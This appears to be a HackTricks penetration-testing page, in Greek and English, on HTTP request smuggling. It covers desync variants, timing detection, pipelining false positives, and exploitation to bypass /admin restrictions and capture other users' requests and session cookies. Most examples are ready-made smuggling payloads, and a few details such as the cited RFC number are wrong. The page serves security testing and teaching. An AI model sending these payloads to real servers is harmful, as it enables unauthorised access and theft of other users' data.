HTTP Request Smuggling / HTTP Desync Attack

Reading time: 35 minutes

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Τι είναι

Αυτή η ευπάθεια προκύπτει όταν ένας αποσυγχρονισμός (desync) μεταξύ των front-end proxies και του back-end server επιτρέπει σε έναν attacker να στείλει ένα HTTP request που θα ερμηνευθεί ως ένα ενιαίο request από τους front-end proxies (load balance/reverse-proxy) και ως 2 requests από τον back-end server.
Αυτό επιτρέπει σε έναν χρήστη να τροποποιήσει το επόμενο request που θα φτάσει στον back-end server μετά από το δικό του.

Θεωρία

RFC Specification (2161)

If a message is received with both a Transfer-Encoding header field and a Content-Length header field, the latter MUST be ignored.

Content-Length

The Content-Length entity header indicates the size of the entity-body, in bytes, sent to the recipient.

Transfer-Encoding: chunked

The Transfer-Encoding header specifies the form of encoding used to safely transfer the payload body to the user.
Chunked means that large data is sent in a series of chunks

Πραγματικότητα

Το Front-End (a load-balance / Reverse Proxy) επεξεργάζεται το header Content-Length ή το header Transfer-Encoding και ο Back-end server επεξεργάζεται το άλλο, προκαλώντας έναν αποσυγχρονισμό ανάμεσα στα δύο συστήματα.
Αυτό μπορεί να είναι πολύ επικίνδυνο καθώς ένας attacker θα μπορεί να στείλει ένα request στο reverse proxy που θα ερμηνευθεί από τον back-end server ως 2 διαφορετικά requests. Ο κίνδυνος αυτής της τεχνικής έγκειται στο ότι ο back-end server θα ερμηνεύσει το δεύτερο injected request σαν να προήλθε από τον επόμενο client, και το πραγματικό request αυτού του client θα γίνει μέρος του injected request.

Ιδιαιτερότητες

Θυμηθείτε ότι στο HTTP ένας χαρακτήρας νέας γραμμής αποτελείται από 2 bytes:

  • Content-Length: Αυτό το header χρησιμοποιεί έναν δεκαδικό αριθμό για να υποδείξει τον αριθμό των bytes του body του request. Το body αναμένεται να τελειώσει στον τελευταίο χαρακτήρα — δεν απαιτείται νέα γραμμή στο τέλος του request.
  • Transfer-Encoding: Αυτό το header χρησιμοποιεί στο body έναν δεκαεξαδικό αριθμό για να υποδείξει τον αριθμό των bytes του επόμενου chunk. Το chunk πρέπει να τελειώνει με νέα γραμμή αλλά αυτή η νέα γραμμή δεν μετράει στον δείκτη μήκους. Αυτή η μέθοδος μεταφοράς πρέπει να τελειώνει με ένα chunk μεγέθους 0 ακολουθούμενο από 2 new lines: 0
  • Connection: Βάσει της εμπειρίας μου συνιστάται να χρησιμοποιείτε Connection: keep-alive στο πρώτο request του Request Smuggling.

Visible - Hidden

Το κύριο πρόβλημα με το http/1.1 είναι ότι όλα τα requests πηγαίνουν στο ίδιο TCP socket, οπότε αν υπάρχει ασυμφωνία μεταξύ δύο συστημάτων που δέχονται requests, είναι δυνατό να σταλεί ένα request που θα θεωρηθεί ως 2 διαφορετικά requests (ή περισσότερα) από τον τελικό backend (ή ακόμα και από ενδιάμεσα συστήματα).

This blog post προτείνει νέους τρόπους για να ανιχνευθούν desync attacks σε ένα σύστημα που δεν θα σηματοδοτηθούν από WAFs. Γι' αυτό παρουσιάζει τις συμπεριφορές Visible vs Hidden. Ο στόχος σε αυτή την περίπτωση είναι να προσπαθήσουμε να βρούμε διαφορές στην απόκριση χρησιμοποιώντας τεχνικές που θα μπορούσαν να προκαλούν desyncs χωρίς στην πραγματικότητα να εκμεταλλευόμαστε κάτι.

Για παράδειγμα, στέλνοντας ένα request με το κανονικό Host header και ένα " host" header (με leading space), αν ο backend παραπονιέται γι' αυτό το request (ίσως επειδή η τιμή του " host" είναι εσφαλμένη) αυτό πιθανώς σημαίνει ότι το front-end δεν είδε το " host" header ενώ ο τελικός backend το χρησιμοποίησε — γεγονός που υποδεικνύει αποσυγχρονισμό μεταξύ front-end και backend.

Αυτό θα ήταν μια Hidden-Visible discrepancy.

Αν το front-end είχε λάβει υπόψη το " host" header αλλά ο front-end δεν το έκανε, αυτό θα μπορούσε να είναι μια Visible-Hidden κατάσταση.

Για παράδειγμα, αυτό επέτρεψε την ανακάλυψη desyncs μεταξύ AWS ALB ως front-end και IIS ως backend. Αυτό συνέβη επειδή όταν στάλθηκε "Host: foo/bar", το ALB επέστρεψε 400, Server; awselb/2.0, αλλά όταν στάλθηκε "Host : foo/bar", επέστρεψε 400, Server: Microsoft-HTTPAPI/2.0, υποδεικνύοντας ότι ο backend έστελνε την απόκριση. Αυτή είναι μια Hidden-Visible (H-V) κατάσταση.

Σημειώστε ότι αυτή η κατάσταση δεν έχει διορθωθεί στην AWS, αλλά μπορεί να προληφθεί ρυθμίζοντας routing.http.drop_invalid_header_fields.enabled και routing.http.desync_mitigation_mode = strictest.

Βασικά Παραδείγματα

tip

Όταν προσπαθείτε να το εκμεταλλευτείτε με Burp Suite απενεργοποιήστε τα Update Content-Length και Normalize HTTP/1 line endings στον repeater επειδή κάποια gadgets εκμεταλλεύονται newlines, carriage returns και malformed content-lengths.

Οι επιθέσεις HTTP request smuggling κατασκευάζονται στέλνοντας αμφίσημα requests που εκμεταλλεύονται διαφορές στον τρόπο που τα front-end και back-end servers ερμηνεύουν τα headers Content-Length (CL) και Transfer-Encoding (TE). Αυτές οι επιθέσεις μπορούν να εμφανιστούν σε διαφορετικές μορφές, κυρίως ως CL.TE, TE.CL, και TE.TE. Κάθε τύπος αντιπροσωπεύει έναν μοναδικό συνδυασμό του πώς τα front-end και back-end servers προτεραιοποιούν αυτά τα headers. Οι ευπάθειες προκύπτουν από το ότι οι servers επεξεργάζονται το ίδιο request με διαφορετικούς τρόπους, οδηγώντας σε απρόβλεπτα και ενδεχομένως κακόβουλα αποτελέσματα.

Βασικά Παραδείγματα Τύπων Ευπάθειας

https://twitter.com/SpiderSec/status/1200413390339887104?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104&ref_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104

tip

Στον παραπάνω πίνακα θα πρέπει να προσθέσετε την τεχνική TE.0, όπως την τεχνική CL.0 αλλά χρησιμοποιώντας Transfer-Encoding.

CL.TE Vulnerability (Content-Length used by Front-End, Transfer-Encoding used by Back-End)

  • Front-End (CL): Processes the request based on the Content-Length header.

  • Back-End (TE): Processes the request based on the Transfer-Encoding header.

  • Attack Scenario:

  • The attacker sends a request where the Content-Length header's value does not match the actual content length.

  • The front-end server forwards the entire request to the back-end, based on the Content-Length value.

  • The back-end server processes the request as chunked due to the Transfer-Encoding: chunked header, interpreting the remaining data as a separate, subsequent request.

  • Example:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 30
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /404 HTTP/1.1
Foo: x

TE.CL Vulnerability (Transfer-Encoding used by Front-End, Content-Length used by Back-End)

  • Front-End (TE): Processes the request based on the Transfer-Encoding header.

  • Back-End (CL): Processes the request based on the Content-Length header.

  • Attack Scenario:

  • The attacker sends a chunked request where the chunk size (7b) and actual content length (Content-Length: 4) do not align.

  • The front-end server, honoring Transfer-Encoding, forwards the entire request to the back-end.

  • The back-end server, respecting Content-Length, processes only the initial part of the request (7b bytes), leaving the rest as part of an unintended subsequent request.

  • Example:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked

7b
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

x=
0

TE.TE Vulnerability (Transfer-Encoding used by both, with obfuscation)

  • Servers: Both support Transfer-Encoding, but one can be tricked into ignoring it via obfuscation.

  • Attack Scenario:

  • The attacker sends a request with obfuscated Transfer-Encoding headers.

  • Depending on which server (front-end or back-end) fails to recognize the obfuscation, a CL.TE or TE.CL vulnerability may be exploited.

  • The unprocessed part of the request, as seen by one of the servers, becomes part of a subsequent request, leading to smuggling.

  • Example:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked

CL.CL Scenario (Content-Length used by both Front-End and Back-End)

  • Both servers process the request based solely on the Content-Length header.
  • This scenario typically does not lead to smuggling, as there's alignment in how both servers interpret the request length.
  • Example:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Normal Request

CL.0 Scenario

  • Refers to scenarios where the Content-Length header is present and has a value other than zero, indicating that the request body has content. The back-end ignores the Content-Length header (which is treated as 0), but the front-end parses it.
  • It's crucial in understanding and crafting smuggling attacks, as it influences how servers determine the end of a request.
  • Example:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Non-Empty Body

TE.0 Scenario

  • Like the previous one but using TE
  • Technique reported here
  • Example:
OPTIONS / HTTP/1.1
Host: {HOST}
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Transfer-Encoding: chunked
Connection: keep-alive

50
GET <http://our-collaborator-server/> HTTP/1.1
x: X
0
EMPTY_LINE_HERE
EMPTY_LINE_HERE

0.CL Σενάριο

Σε ένα σενάριο 0.CL, ένα request αποστέλλεται με Content-Length ως εξής:

GET /Logon HTTP/1.1
Host: <redacted>
Content-Length:
7

GET /404 HTTP/1.1
X: Y

Και το front-end δεν λαμβάνει υπόψη το Content-Length, οπότε στέλνει μόνο το πρώτο request στο backend (μέχρι το 7 στο παράδειγμα). Ωστόσο, το backend βλέπει το Content-Length και περιμένει για ένα body που ποτέ δεν φτάνει, επειδή το front-end ήδη περιμένει την απόκριση.

Ωστόσο, αν υπάρχει κάποιο request που μπορεί να σταλεί στο backend και λαμβάνει απάντηση πριν φτάσει το body του request, αυτό το deadlock δεν θα συμβεί. Στο IIS για παράδειγμα αυτό συμβαίνει όταν στέλνονται requests σε forbidden words όπως /con (check the documentation), με αυτόν τον τρόπο, το αρχικό request θα απαντηθεί απευθείας και το δεύτερο request θα περιέχει το request του θύματος όπως:

GET / HTTP/1.1
X: yGET /victim HTTP/1.1
Host: <redacted>

Αυτό είναι χρήσιμο για να προκαλέσει ένα desync, αλλά μέχρι τώρα δεν θα είχε κανένα αντίκτυπο.

Ωστόσο, το άρθρο προσφέρει μια λύση σε αυτό με τη μετατροπή ενός 0.CL attack into a CL.0 with a double desync.

Σπάσιμο του web server

Αυτή η τεχνική είναι επίσης χρήσιμη σε σενάρια όπου είναι δυνατό να προκαλέσετε σφάλμα στον web server κατά την ανάγνωση των αρχικών δεδομένων HTTP αλλά χωρίς να κλείσετε τη σύνδεση. Με αυτόν τον τρόπο, το body του HTTP request θα θεωρηθεί ως το next HTTP request.

Για παράδειγμα, όπως εξηγείται στο this writeup, στο Werkzeug ήταν δυνατό να σταλούν κάποιοι χαρακτήρες Unicode και αυτό θα έκανε τον server να σπάσει. Ωστόσο, αν η HTTP σύνδεση δημιουργήθηκε με την κεφαλίδα Connection: keep-alive, το body του request δεν θα διαβαστεί και η σύνδεση θα παραμείνει ανοιχτή, οπότε το body του request θα αντιμετωπιστεί ως το next HTTP request.

Εξαναγκασμός μέσω hop-by-hop headers

Καταχρώμενοι τα hop-by-hop headers μπορείτε να υποδείξετε στον proxy να διαγράψει την κεφαλίδα Content-Length ή Transfer-Encoding, ώστε να είναι δυνατή η εκμετάλλευση μέσω HTTP request smuggling.

Connection: Content-Length

Για περισσότερες πληροφορίες σχετικά με τα hop-by-hop headers επισκεφθείτε:

hop-by-hop headers

Εντοπισμός HTTP Request Smuggling

Ο εντοπισμός ευπαθειών HTTP request smuggling μπορεί συχνά να επιτευχθεί με τεχνικές χρονομέτρησης, οι οποίες βασίζονται στην παρατήρηση του χρόνου που χρειάζεται ο server για να απαντήσει σε χειραγωγημένα αιτήματα. Αυτές οι τεχνικές είναι ιδιαίτερα χρήσιμες για την ανίχνευση ευπαθειών CL.TE και TE.CL. Εκτός από αυτές τις μεθόδους, υπάρχουν και άλλες στρατηγικές και εργαλεία που μπορούν να χρησιμοποιηθούν για την εύρεση τέτοιων ευπαθειών:

Εντοπισμός ευπαθειών CL.TE με τεχνικές χρονομέτρησης

  • Μέθοδος:

  • Στείλτε ένα αίτημα που, εάν η εφαρμογή είναι ευάλωτη, θα προκαλέσει στον back-end server να περιμένει επιπλέον δεδομένα.

  • Παράδειγμα:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4

1
A
0

  • Παρατήρηση:

  • Ο front-end server επεξεργάζεται το αίτημα βάσει του Content-Length και κόβει το μήνυμα πρόωρα.

  • Ο back-end server, περιμένοντας ένα chunked μήνυμα, περιμένει το επόμενο chunk που δεν φτάνει ποτέ, προκαλώντας καθυστέρηση.

  • Δείκτες:

  • Timeouts ή μεγάλες καθυστερήσεις στην απόκριση.

  • Λήψη σφάλματος 400 Bad Request από τον back-end server, μερικές φορές με λεπτομερείς πληροφορίες server.

Εντοπισμός ευπαθειών TE.CL με τεχνικές χρονομέτρησης

  • Μέθοδος:

  • Στείλτε ένα αίτημα που, εάν η εφαρμογή είναι ευάλωτη, θα προκαλέσει στον back-end server να περιμένει επιπλέον δεδομένα.

  • Παράδειγμα:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6

0
X
  • Παρατήρηση:
  • Ο front-end server επεξεργάζεται το αίτημα βάσει του Transfer-Encoding και προωθεί ολόκληρο το μήνυμα.
  • Ο back-end server, περιμένοντας ένα μήνυμα βάσει του Content-Length, περιμένει επιπλέον δεδομένα που δεν φτάνουν ποτέ, προκαλώντας καθυστέρηση.

Άλλες μέθοδοι για την εύρεση ευπαθειών

  • Διαφορική Ανάλυση Απαντήσεων:
  • Στείλτε ελαφρώς διαφοροποιημένες εκδόσεις ενός αιτήματος και παρατηρήστε αν οι απαντήσεις του server διαφέρουν με απρόβλεπτο τρόπο, υποδεικνύοντας απόκλιση στην ανάλυση.
  • Χρήση αυτοματοποιημένων εργαλείων:
  • Εργαλεία όπως το Burp Suite's 'HTTP Request Smuggler' extension μπορούν να δοκιμάσουν αυτόματα για αυτές τις ευπάθειες, αποστέλλοντας διάφορες μορφές ασαφών αιτημάτων και αναλύοντας τις απαντήσεις.
  • Δοκιμές μεταβλητότητας Content-Length:
  • Στείλτε αιτήματα με διαφορετικές τιμές του Content-Length που δεν συμφωνούν με το πραγματικό μήκος περιεχομένου και παρατηρήστε πώς ο server διαχειρίζεται τέτοιες ασυμφωνίες.
  • Δοκιμές μεταβλητότητας Transfer-Encoding:
  • Στείλτε αιτήματα με αποκρυπτογραφημένες ή κακομορφωμένες κεφαλίδες Transfer-Encoding και παρακολουθήστε πώς αντιδρούν διαφορετικά ο front-end και ο back-end server σε τέτοιες χειραγωγήσεις.

The Expect: 100-continue header

Ελέγξτε πώς αυτή η κεφαλίδα μπορεί να βοηθήσει στην εκμετάλλευση ενός http desync στο:

Special Http Headers

HTTP Request Smuggling Vulnerability Testing

Αφού επιβεβαιώσετε την αποτελεσματικότητα των τεχνικών χρονομέτρησης, είναι κρίσιμο να επαληθεύσετε εάν τα αιτήματα του client μπορούν να χειραγωγηθούν. Μια απλή μέθοδος είναι να προσπαθήσετε να "poison" τα αιτήματα σας, για παράδειγμα κάνοντας ένα αίτημα προς το / να επιστρέψει 404. Τα παραδείγματα CL.TE και TE.CL που συζητήθηκαν προηγουμένως στο Basic Examples δείχνουν πώς να δηλητηριάσετε το αίτημα ενός client ώστε να προκαλέσετε μια απάντηση 404, παρά το ότι ο client προσπαθούσε να προσπελάσει διαφορετικό resource.

Βασικά Σημεία

Κατά τη δοκιμή για request smuggling ευπάθειες με την παρέμβαση σε άλλα αιτήματα, λάβετε υπόψη:

  • Distinct Network Connections: Τα "attack" και "normal" αιτήματα πρέπει να αποστέλλονται μέσω ξεχωριστών συνδέσεων δικτύου. Η χρήση της ίδιας σύνδεσης και για τα δύο δεν επικυρώνει την ύπαρξη ευπάθειας.
  • Consistent URL and Parameters: Προσπαθήστε να χρησιμοποιήσετε τα ίδια URLs και ονόματα παραμέτρων και για τα δύο αιτήματα. Οι σύγχρονες εφαρμογές συχνά δρομολογούν αιτήματα σε συγκεκριμένους back-end servers βάσει του URL και των παραμέτρων. Η ταύτιση αυτών αυξάνει την πιθανότητα ότι και τα δύο αιτήματα θα επεξεργαστούν από τον ίδιο server, προαπαιτούμενο για επιτυχημένη επίθεση.
  • Timing and Racing Conditions: Το "normal" αίτημα, που προορίζεται να ανιχνεύσει παρεμβολή από το "attack" αίτημα, ανταγωνίζεται και άλλα ταυτόχρονα αιτήματα της εφαρμογής. Επομένως, στείλτε το "normal" αίτημα αμέσως μετά το "attack" αίτημα. Σε απασχολημένες εφαρμογές μπορεί να χρειαστούν πολλαπλές δοκιμές για οριστική επιβεβαίωση ευπάθειας.
  • Load Balancing Challenges: Front-end servers που λειτουργούν ως load balancers μπορεί να κατανέμουν τα αιτήματα σε διάφορα back-end συστήματα. Εάν το "attack" και το "normal" αίτημα φτάσουν σε διαφορετικά συστήματα, η επίθεση δεν θα πετύχει. Αυτό το ζήτημα του load balancing μπορεί να απαιτήσει αρκετές προσπάθειες για να επιβεβαιωθεί μια ευπάθεια.
  • Unintended User Impact: Εάν η επίθεσή σας επηρεάσει ακούσια το αίτημα κάποιου άλλου χρήστη (όχι το "normal" αίτημα που στείλατε για ανίχνευση), αυτό δείχνει ότι η επίθεσή σας επηρέασε άλλο χρήστη της εφαρμογής. Συνεχής δοκιμή μπορεί να διαταράξει άλλους χρήστες, οπότε απαιτείται προσεκτική προσέγγιση.

Διαχωρισμός artifacts του HTTP/1.1 pipelining από το πραγματικό request smuggling

Η επαναχρησιμοποίηση σύνδεσης (keep-alive) και το pipelining μπορούν εύκολα να δημιουργήσουν ψευδείς εντυπώσεις "smuggling" σε εργαλεία δοκιμών που στέλνουν πολλαπλά αιτήματα στην ίδια socket. Μάθετε να διαχωρίζετε αβλαβή client-side artifacts από πραγματικό server-side desync.

Γιατί το pipelining δημιουργεί κλασικά false positives

Το HTTP/1.1 επαναχρησιμοποιεί μία TCP/TLS σύνδεση και συγχωνεύει αιτήματα και απαντήσεις στην ίδια ροή. Στο pipelining, ο client στέλνει πολλαπλά αιτήματα το ένα μετά το άλλο και βασίζεται σε απαντήσεις με τη σωστή σειρά. Ένα κοινό false-positive είναι να επαναστείλει κανείς ένα κακοσχηματισμένο payload τύπου CL.0 δύο φορές σε μία σύνδεση:

POST / HTTP/1.1
Host: hackxor.net
Content_Length: 47

GET /robots.txt HTTP/1.1
X: Y

Οι αποκρίσεις μπορεί να μοιάζουν ως εξής:

HTTP/1.1 200 OK
Content-Type: text/html


HTTP/1.1 200 OK
Content-Type: text/plain

User-agent: *
Disallow: /settings

Αν ο server αγνόησε το ελαττωματικό Content_Length, δεν υπάρχει FE↔BE desync. Με reuse, ο client σας στην πραγματικότητα έστειλε αυτό το byte-stream, το οποίο ο server ανάλυσε ως δύο ανεξάρτητα requests:

POST / HTTP/1.1
Host: hackxor.net
Content_Length: 47

GET /robots.txt HTTP/1.1
X: YPOST / HTTP/1.1
Host: hackxor.net
Content_Length: 47

GET /robots.txt HTTP/1.1
X: Y

Impact: none. You just desynced your client from the server framing.

tip

Burp modules που εξαρτώνται από reuse/pipelining: Turbo Intruder with requestsPerConnection>1, Intruder with "HTTP/1 connection reuse", Repeater "Send group in sequence (single connection)" or "Enable connection reuse".

Litmus tests: pipelining or real desync?

  1. Disable reuse and re-test
  • Σε Burp Intruder/Repeater, απενεργοποιήστε το HTTP/1 reuse και αποφύγετε το "Send group in sequence".
  • Σε Turbo Intruder, ορίστε requestsPerConnection=1 και pipeline=False.
  • Αν η συμπεριφορά εξαφανιστεί, πιθανότατα ήταν client-side pipelining, εκτός κι αν έχετε να κάνετε με connection-locked/stateful targets ή client-side desync.
  1. HTTP/2 nested-response check
  • Στείλτε ένα HTTP/2 request. Αν το response body περιέχει μια πλήρη nested HTTP/1 response, έχετε αποδείξει bug parsing/desync στο backend αντί για ένα καθαρά client artifact.
  1. Partial-requests probe for connection-locked front-ends
  • Κάποια FEs επαναχρησιμοποιούν την upstream BE σύνδεση μόνο αν ο client επαναχρησιμοποίησε τη δική του. Χρησιμοποιήστε partial-requests για να εντοπίσετε FE συμπεριφορά που καθρεφτίζει το client reuse.
  • Δείτε PortSwigger "Browser‑Powered Desync Attacks" για την τεχνική connection-locked.
  1. State probes
  • Ψάξτε για διαφορές first- vs subsequent-request στην ίδια TCP σύνδεση (first-request routing/validation).
  • Το Burp "HTTP Request Smuggler" περιλαμβάνει ένα connection‑state probe που αυτοματοποιεί αυτό.
  1. Visualize the wire
  • Χρησιμοποιήστε το Burp "HTTP Hacker" extension για να επιθεωρήσετε concatenation και message framing απευθείας ενώ πειραματίζεστε με reuse και partial requests.

Connection‑locked request smuggling (reuse-required)

Κάποια front-ends επαναχρησιμοποιούν την upstream σύνδεση μόνο όταν ο client επαναχρησιμοποιεί τη δική του. Υπάρχει πραγματικό smuggling αλλά είναι υπό όρους στο client-side reuse. Για να διαφοροποιήσετε και να αποδείξετε impact:

  • Αποδείξτε το server-side bug
  • Χρησιμοποιήστε το HTTP/2 nested-response check, ή
  • Χρησιμοποιήστε partial-requests για να δείξετε ότι το FE επαναχρησιμοποιεί upstream μόνο όταν το κάνει και ο client.
  • Δείξτε πραγματικό impact ακόμα κι αν το άμεσο cross-user socket abuse είναι μπλοκαρισμένο:
  • Cache poisoning: poison shared caches μέσω του desync έτσι ώστε responses να επηρεάζουν άλλους χρήστες.
  • Internal header disclosure: να αντανακλώνται FE-injected headers (π.χ. auth/trust headers) και pivot σε auth bypass.
  • Bypass FE controls: smuggle restricted paths/methods πέρα από το front-end.
  • Host-header abuse: συνδυάστε με host routing quirks για pivot σε internal vhosts.
  • Operator workflow
  • Αναπαράγετε με ελεγχόμενο reuse (Turbo Intruder requestsPerConnection=2, ή Burp Repeater tab group → "Send group in sequence (single connection)").
  • Έπειτα κάντε chain σε cache/header-leak/control-bypass primitives και δείξτε cross-user ή authorization impact.

See also connection‑state attacks, which are closely related but not technically smuggling:

{{#ref}} ../http-connection-request-smuggling.md {{#endref}}

Client‑side desync constraints

Αν στοχεύετε browser-powered/client-side desync, το malicious request πρέπει να μπορεί να σταλεί από browser cross-origin. Τα header obfuscation tricks δεν θα δουλέψουν. Επικεντρωθείτε σε primitives που είναι προσβάσιμα μέσω navigation/fetch, και μετά pivot σε cache poisoning, header disclosure, ή front-end control bypass όπου downstream components αντανακλούν ή cache-άρουν responses.

Για background και end-to-end workflows:

Browser HTTP Request Smuggling

Tooling to help decide

  • HTTP Hacker (Burp BApp Store): εκθέτει low-level HTTP behavior και socket concatenation.
  • "Smuggling or pipelining?" Burp Repeater Custom Action: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda
  • Turbo Intruder: precise control over connection reuse via requestsPerConnection.
  • Burp HTTP Request Smuggler: περιλαμβάνει ένα connection‑state probe για να εντοπίζει first‑request routing/validation.

note

Treat reuse-only effects as non-issues unless you can prove server-side desync and attach concrete impact (poisoned cache artifact, leaked internal header enabling privilege bypass, bypassed FE control, etc.).

Abusing HTTP Request Smuggling

Circumventing Front-End Security via HTTP Request Smuggling

Μερικές φορές, τα front-end proxies επιβάλλουν security measures, εξετάζοντας τα εισερχόμενα requests. Παρ’ όλα αυτά, αυτά τα μέτρα μπορούν να παρακαμφθούν εκμεταλλευόμενοι HTTP Request Smuggling, επιτρέποντας μη εξουσιοδοτημένη πρόσβαση σε restricted endpoints. Για παράδειγμα, η πρόσβαση στο /admin μπορεί να απαγορεύεται εξωτερικά, με το front-end proxy να μπλοκάρει ενεργά τέτοιες προσπάθειες. Ωστόσο, αυτό το proxy μπορεί να παραλείψει τον έλεγχο embedded requests μέσα σε ένα smuggled HTTP request, αφήνοντας ένα κενό για bypass αυτών των περιορισμών.

Σκεφτείτε τα ακόλουθα παραδείγματα που δεικνύουν πώς το HTTP Request Smuggling μπορεί να χρησιμοποιηθεί για να παρακάμψει front-end security controls, στοχεύοντας ειδικά το path /admin που συνήθως φυλάσσεται από το front-end proxy:

CL.TE Example

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked

0
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10

x=

Στην επίθεση CL.TE, η κεφαλίδα Content-Length χρησιμοποιείται για το αρχικό αίτημα, ενώ το επακόλουθο ενσωματωμένο αίτημα αξιοποιεί την κεφαλίδα Transfer-Encoding: chunked. Ο front-end proxy επεξεργάζεται το αρχικό αίτημα POST αλλά αποτυγχάνει να εξετάσει το ενσωματωμένο αίτημα GET /admin, επιτρέποντας μη εξουσιοδοτημένη πρόσβαση στη διαδρομή /admin.

TE.CL Παράδειγμα

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 4
Transfer-Encoding: chunked
2b
GET /admin HTTP/1.1
Host: localhost
a=x
0

Αντιθέτως, στην επίθεση TE.CL, το αρχικό POST request χρησιμοποιεί Transfer-Encoding: chunked, και το επακόλουθο ενσωματωμένο request επεξεργάζεται με βάση την κεφαλίδα Content-Length. Όπως και στην επίθεση CL.TE, ο front-end proxy παραβλέπει το smuggled GET /admin request, δίνοντας κατά λάθος πρόσβαση στην προστατευμένη διαδρομή /admin.

Αποκάλυψη front-end request rewriting

Οι εφαρμογές συχνά χρησιμοποιούν έναν front-end server για να τροποποιούν τα εισερχόμενα requests πριν τα προωθήσουν στον back-end server. Μια τυπική τροποποίηση είναι η προσθήκη headers, όπως X-Forwarded-For: <IP of the client>, για να μεταφέρουν το IP του client στον back-end. Η κατανόηση αυτών των τροποποιήσεων μπορεί να είναι κρίσιμη, καθώς μπορεί να αποκαλύψει τρόπους για να bypass protections ή να uncover concealed information or endpoints.

Για να διερευνήσετε πώς ένας proxy τροποποιεί ένα request, εντοπίστε ένα POST parameter που ο back-end το αντικατοπτρίζει στην response. Έπειτα, δημιουργήστε ένα request, χρησιμοποιώντας αυτό το parameter τελευταίο, παρόμοιο με το ακόλουθο:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Connection: keep-alive
Transfer-Encoding: chunked

0

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

search=

Σ' αυτή τη δομή, τα επακόλουθα στοιχεία του αιτήματος προστίθενται μετά το search=, που είναι η παράμετρος που ανακλάται στην απάντηση. Αυτή η ανάκλαση θα αποκαλύψει τις κεφαλίδες του επόμενου αιτήματος.

Είναι σημαντικό να ευθυγραμμιστεί η κεφαλίδα Content-Length του ενθεμένου αιτήματος με το πραγματικό μήκος περιεχομένου. Συνίσταται να ξεκινάτε με μια μικρή τιμή και να αυξάνετε σταδιακά, καθώς μια πολύ μικρή τιμή θα αποκόψει τα ανακλώμενα δεδομένα, ενώ μια πολύ μεγάλη τιμή μπορεί να προκαλέσει σφάλμα στο αίτημα.

Αυτή η τεχνική εφαρμόζεται επίσης στο πλαίσιο μιας ευπάθειας TE.CL, αλλά το αίτημα πρέπει να τερματίζει με search=\r\n0. Ανεξάρτητα από τους χαρακτήρες νέας γραμμής, οι τιμές θα προσαρτηθούν στην παράμετρο search.

Αυτή η μέθοδος χρησιμεύει κυρίως για να κατανοήσετε τις τροποποιήσεις των αιτημάτων που πραγματοποιεί ο front-end proxy, ουσιαστικά εκτελώντας μια αυτοκατευθυνόμενη έρευνα.

Καταγραφή των αιτημάτων άλλων χρηστών

Είναι εφικτό να καταγράψετε τα αιτήματα του επόμενου χρήστη προσθέτοντας ένα συγκεκριμένο αίτημα ως τιμή μιας παραμέτρου κατά τη διάρκεια μιας POST ενέργειας. Δείτε πώς μπορεί να επιτευχθεί αυτό:

Προσθέτοντας το ακόλουθο αίτημα ως τιμή μιας παραμέτρου, μπορείτε να αποθηκεύσετε το επακόλουθο αίτημα του πελάτη:

POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 319
Connection: keep-alive
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Length: 659
Content-Type: application/x-www-form-urlencoded
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi

csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=

Σε αυτό το σενάριο, ο comment parameter προορίζεται να αποθηκεύσει τα περιεχόμενα στην ενότητα σχολίων μιας ανάρτησης σε μια δημόσια προσβάσιμη σελίδα. Συνεπώς, τα περιεχόμενα του επακόλουθου αιτήματος θα εμφανιστούν ως σχόλιο.

